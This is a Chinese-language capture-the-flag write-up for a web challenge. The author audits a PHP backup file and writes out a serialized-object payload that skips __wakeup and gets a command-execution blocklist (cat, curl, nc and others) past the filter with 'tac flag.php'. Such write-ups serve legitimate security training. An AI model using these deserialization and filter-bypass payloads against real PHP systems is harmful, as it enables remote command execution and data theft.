题目没给提示
点开链接 是空白页面
查看源代码
base64加密 拿去解码
备份文件 使用工具跑一下目录 (dirsearch)
存在一个flag.php文件 但是访问没有结果
锁定index.php.bak 文件 下载下来
打开 进行代码审计 是php序列化 反序列化的内容
代码审计(借鉴大佬的解析)
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
定义username和cmd变量
----------------------------------------------
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
java知识
----------------------------------------------
function __wakeup()
{
$this->username = 'guest';
}
反序列化的wakeup函数 如何绕过可见我这篇文章
此处是将username的值改为guest
---------------------------------------------
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
一堆正则
----------------------------------------------
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);
如果username的值为admin将cmd的值传给a变量并输出执行
----------------------------------------------
$select = $_GET['code'];
$res=unserialize(@$select);
get获取code的值传给select并把select的值反序列化后传给res
唯一可以传的是code的值 所以用code里面包含username和cmd即可传值给他们因为类名是ctf
还要绕过wakeup 确保传入的username和cmd的值正确 在die()的时候就会调用__destruct()函数
来执行cmd命令
所以构造为
(/?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";})
O 代表对象 因为我们序列化的是一个对象
3 代表类名字占三个字符
ctf 类名
3 代表三个属性,因为需要绕过__wakeup()函数,所以比实际属性个数2大
s代表字符串
11代表属性名长度
username 属性名
s:5:“admin” 字符串 属性值长度 属性值
先用ls看看 确定刚刚没打开的flag.php在不在同一目录下
确定flag.php就在当前目录
但是很多命令被过滤了 测试后 发现tac这个命令还没有被过滤 (/?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac%20flag.php";})
使用tac命令得到flag